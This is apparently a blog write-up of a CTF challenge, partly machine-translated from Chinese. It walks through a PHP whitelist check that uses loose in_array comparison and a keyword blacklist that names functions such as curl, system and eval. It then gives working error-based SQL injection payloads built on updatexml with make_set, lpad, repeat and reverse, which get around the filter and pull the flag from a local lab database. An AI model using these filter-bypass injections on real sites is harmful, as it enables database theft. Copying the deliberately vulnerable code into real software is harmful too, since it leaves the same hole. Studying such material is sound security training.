[Red Day1-CTF] in_array function defects

Exercise Record

Reproduce the code:

index.php

<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("连接失败: ");
}
$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $whitelist = range(1, $row['COUNT(*)']);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    echo "<center><table border='1'>";
    foreach ($row as $key => $value) {
        echo "<tr><td><center>$key</center></td><br>";
        echo "<td><center>$value</center></td></tr><br>";
    }
    echo "</table></center>";
}
else{
    die($conn->error);
}
?>

config.php

<?php  
$servername = "localhost:3306";
$username = "root";
$password = "root";
$dbname = "day1";

function stop_hack($value){
	$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
	$back_list = explode("|",$pattern);
	foreach($back_list as $hack){
		if(preg_match("/$hack/i", $value))
			die("$hack detected!");
	}
	return $value;
}
?>

Establish a database SQL statement:

create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );

INSERT INTO users VALUES(1,'Lucia','[email protected]',3000);
INSERT INTO users VALUES(2,'Danny','[email protected]',4500);
INSERT INTO users VALUES(3,'Alina','[email protected]',2700);
INSERT INTO users VALUES(4,'Jameson','[email protected]',10000);
INSERT INTO users VALUES(5,'Allie','[email protected]',6000);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');

Vulnerability Analysis:

Enter the site:

http://192.168.1.139/array/index.php?id=2

Here Insert Picture Description
Found page properly, you can operate the.

This question is examined in_arrayto bypass the stitching function and can not use the updatexmlinjection, let's look at in_arraythe bypass. 11 to the lower row of FIG. 13:
Here Insert Picture Description

In the program the user ID of the storage $whitelistarray, then the user id parameter passed through the first stop_hackfunction was filtered, and then in_arraydetermines whether a user id parameter passed in $whitelistthe array. This in_arrayfunction does not use strong match, it can be bypassed.

updatexml:

Then talk about the updatexmlinjection, when updatexmlthe presence of special characters or letters, there will be an error, the error message is a special character, and after the contents of the letter, that if we want to query the data that begins with a number, for example 7701HongRi, then the query The results will only show HongRi. So we will see a lot updatexmlinjected payloadis so long and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1), in front of the data to be queried with a special symbol (here 0x7esymbol '~').

We look at what stop_hack filter function. This method can be found in the filter string concatenation function concat, so we have to use other methods to bypass.

function stop_hack($value){
	$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
	$back_list = explode("|",$pattern);
	foreach($back_list as $hack){
		if(preg_match("/$hack/i", $value))
			die("$hack detected!");
	}
	return $value;
}
?>

Filtered character

$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";

There Gangster analysis updatexml article

既然updatexml函数是从特殊字符、字母后面开始截取的,我们就需要在我们想要的数据前面拼接上特殊字符。waf禁用了concat等常见字符串拼接函数,那么我们可以使用冷门的字符串处理函数绕过,这里感谢雨了个雨师傅提供的payload

select updatexml(1,make_set(3,'~',(select user())),1);

关于make_set函数的用法,可以参考:mysql MAKE_SET()用法
make_set函数的用法:
MAKE_SET(bits,str1,str2,…)

返回一个设定值 (一个包含被‘,’号分开的字字符串的字符串) ,由在bits 组中具有相应的比特的字符串组成。str1 对应比特 0, str2 对应比特1,以此类推。str1, str2, …中的 NULL值不会被添加到结果中。

eg1

Here Insert Picture Description
bits将转为二进制,1的二进制为0001,倒过来为1000,所以取str1(a),打印a.

eg2

Here Insert Picture Description
bits将转为二进制,3的二进制为0011,倒过来为1100,所以取str1(a),str2(b),打印a,b.

eg3

Here Insert Picture Description
1|4转为二进制为0001 | 0100, | 是进行或运算,得到0101,倒过来为1010,所以取str1(a),str(3),打印hello,world.

eg4

Here Insert Picture Description
这个跟上一步是一样的由于str(3)是null,所以不输出

我们还可以找到类似的函数:lpad()reverse()repeat()export_set()lpad()、reverse()、repeat()这三个函数使用的前提是所查询的值中,必须至少含有一个特殊字符,否则会漏掉一些数据)。
Here Insert Picture Description
payload:

http://192.168.1.139/array/index.php?id=2  and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

Here Insert Picture Description
下面同理:

http://192.168.1.139/array/index.php?id=2  and (select updatexml(1,lpad('{',100,(select flag from flag)),1))
http://192.168.1.139/array/index.php?id=2  and (select updatexml(1,repeat((select flag from flag),2),1))
http://192.168.1.139/array/index.php?id=2  and (select updatexml(1,(select flag from flag),1))
http://192.168.1.139/array/index.php?id=2  and (select updatexml(1,reverse((select flag from flag)),1))

这里前面是倒过来的:
Here Insert Picture Description

Published 35 original articles · won praise 19 · views 5207

Guess you like

Origin blog.csdn.net/zhangpen130/article/details/103870929